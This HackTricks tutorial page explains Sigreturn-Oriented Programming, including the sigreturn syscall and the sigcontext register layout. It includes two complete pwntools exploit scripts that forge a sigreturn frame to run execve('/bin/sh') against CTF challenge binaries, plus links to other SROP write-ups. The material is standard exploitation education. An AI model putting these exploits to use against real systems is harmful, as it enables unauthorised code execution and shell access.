SROP - Sigreturn-Oriented Programming - HackTricks

# SROP - Sigreturn-Oriented Programming

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

`Sigreturn` is a special syscall that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a signal handler, a special function designed to deal with signals.

After the signal handler finishes, the program needs to resume its previous state as if nothing happened. This is where `sigreturn` comes into play. It helps the program to return from the signal handler and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.

The interesting part is how `sigreturn` restores the program's state: it does so by storing all the CPU's register values on the stack. When the signal is no longer blocked, `sigreturn` pops these values off the stack, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.

> [!CAUTION] Calling the syscall `sigreturn` from a ROP chain and adding the registry values we would like it to load in the stack it's possible to control all the register values and therefore call for example the syscall `execve` with `/bin/sh`.

Note how this would be a type of Ret2syscall that makes much easier to control params to call other Ret2syscalls:

Ret2syscall

If you are curious this is the sigcontext structure stored in the stack to later recover the values (diagram from here):

    +--------------------+--------------------+
    | rt_sigeturn()      | uc_flags           |
    +--------------------+--------------------+
    | &uc                | uc_stack.ss_sp     |
    +--------------------+--------------------+
    | uc_stack.ss_flags  | uc.stack.ss_size   |
    +--------------------+--------------------+
    | r8                 | r9                 |
    +--------------------+--------------------+
    | r10                | r11                |
    +--------------------+--------------------+
    | r12                | r13                |
    +--------------------+--------------------+
    | r14                | r15                |
    +--------------------+--------------------+
    | rdi                | rsi                |
    +--------------------+--------------------+
    | rbp                | rbx                |
    +--------------------+--------------------+
    | rdx                | rax                |
    +--------------------+--------------------+
    | rcx                | rsp                |
    +--------------------+--------------------+
    | rip                | eflags             |
    +--------------------+--------------------+
    | cs / gs / fs       | err                |
    +--------------------+--------------------+
    | trapno             | oldmask (unused)   |
    +--------------------+--------------------+
    | cr2 (segfault addr)| &fpstate           |
    +--------------------+--------------------+
    | __reserved         | sigmask            |
    +--------------------+--------------------+

For a better explanation check also:

https://youtu.be/ADULSwnQs-s?feature=shared

## Example

You can find an example here where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:

    from pwn import *

    elf = context.binary = ELF('./vuln', checksec=False)
    p = process()

    BINSH = elf.address + 0x1250
    POP_RAX = 0x41018
    SYSCALL_RET = 0x41015

    frame = SigreturnFrame()
    frame.rax = 0x3b            # syscall number for execve
    frame.rdi = BINSH           # pointer to /bin/sh
    frame.rsi = 0x0             # NULL
    frame.rdx = 0x0             # NULL
    frame.rip = SYSCALL_RET

    payload = b'A' * 8
    payload += p64(POP_RAX)
    payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
    payload += p64(SYSCALL_RET)
    payload += bytes(frame)

    p.sendline(payload)
    p.interactive()

Check also the exploit from here where the binary was already calling `sigreturn` and therefore it's not needed to build that with a ROP:

    from pwn import *

    # Establish the target
    target = process("./small_boi")
    #gdb.attach(target, gdbscript = 'b *0x40017c')
    #target = remote("pwn.chal.csaw.io", 1002)

    # Establish the target architecture
    context.arch = "amd64"

    # Establish the address of the sigreturn function
    sigreturn = p64(0x40017c)

    # Start making our sigreturn frame
    frame = SigreturnFrame()

    frame.rip = 0x400185 # Syscall instruction
    frame.rax = 59       # execve syscall
    frame.rdi = 0x4001ca # Address of "/bin/sh"
    frame.rsi = 0x0      # NULL
    frame.rdx = 0x0      # NULL

    payload = "0"*0x28 # Offset to return address
    payload += sigreturn # Function with sigreturn
    payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

    target.sendline(payload) # Send the target payload

    # Drop to an interactive shell
    target.interactive()

## Other Examples & References

- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
  - Assembly binary that allows to write to the stack and then calls the `sigreturn` syscall. It's possible to write on the stack a ret2syscall via a sigreturn structure and read the flag which is inside the memory of the binary.
- https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
  - Assembly binary that allows to write to the stack and then calls the `sigreturn` syscall. It's possible to write on the stack a ret2syscall via a sigreturn structure (the binary has the string `/bin/sh`).
- https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
  - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a ret2syscall. The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the `alarm` function to set eax to `0xf` to call a SROP and execute a shell.
- https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
  - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
  - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.